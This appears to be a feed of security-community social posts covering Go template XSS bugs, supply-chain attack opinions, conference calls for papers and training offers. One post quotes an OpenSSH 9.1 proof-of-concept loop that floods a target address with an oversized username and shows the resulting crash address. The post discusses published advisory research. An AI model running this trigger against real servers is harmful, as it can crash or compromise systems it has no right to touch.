threatactor.club

We found some injection bugs in Go's html/template. That's to say stdlib-level XSS

https://groups.google.com/g/golang-nuts/c/Qc7mKRrzDgA

Hot Take: a lot of the "supply chain insecurity" news stories are not problems with the supply chain. So what if you managed to upload some crapware RAT to PyPi? No one will even use your malicious package ever. Even if you tried typosquating the package, the odds are still low that anyone important or a large chunk of the community would accidentally use your typosquated malicious package . Real supply chain issues are when a legitimate and *popular link in the supply chain (aka a popular library used by many other projects) becomes compromised.

This post by the Qualys Security Advisory team demonstrating rip/pc control on OpenSSH 9.1 (running on OpenBSD!) is savage: https://seclists.org/oss-sec/2023/q1/92

Here I was thinking this bug was hopeless and they one-line it without writing new code:

$ cp -i /usr/bin/ssh ./ssh

$ sed -i s/OpenSSH_9.1/FuTTYSH_9.1/g ./ssh

$ user=`perl -e 'print "A" x 300'` && while true ;do ./ssh -o NumberOfPasswordPrompts=0 -o Ciphers=aes128-ctr -l
"$user:$user" 192.168.56.123 ;done

...

#1 0x4141414141414141 in ?? ()

▓▓░░░░░░░░░░░░░ 10%

❓ Are there any standard data formats for asset/attack surface related information? Something like Structured Threat Information Expression (STIX) but for attack surface mapping that other tools and systems can consume.

#security #monitoring #osint #assetmanagement

Stuff we found on GitHub with no warranty or support, yet decided to underpin our entire product on - chain attacks.

CALL FOR PAPERS T2’23

Tired of your bosses suspecting conference trips to exotic locations being just a ploy to partake in Security Vacation Club? Prove them wrong by coming to Helsinki, Finland on May 4-5 2023! Guaranteed lack of sunburn, good potential for rain or slush. In case of great spring weather, though, no money back.

CFP and registration both open. Read further if still unsure:
https://t2.fi/2023/01/19/call-for-papers-2023/

Want to learn mobile reverse engineering and security analysis on iOS 📱🍎 but can't afford a training since you're a student? We'll do a free edition of day 1+2 of the Nullcon training end of February at TU Darmstadt. Drop me a DM if you're interested. Limited spaces, so better be fast 🔥
#iOS #security #reverseengineering

https://nullcon.net/berlin-2023/training/mobile-reversing-and-security-analysis/

Hey friends in #websec! Please remember to submit your research to the SecWeb workshop, a venue about building security for the web. The event is co-located with IEEE S&P in San Francisco (May 25) and our paper deadline os February 24th. We welcome new security flaws, solutions, wild ideas and even position papers. Let me know if you want to know more! https://secweb.work/2023.html

Please boost! 🔃

An alignment chart for how you ping the local host (eg, on #Linux). I'm open to be convinced that some of these should be swapped.

#IPv4 #IPv6 #nerd #humor #localhost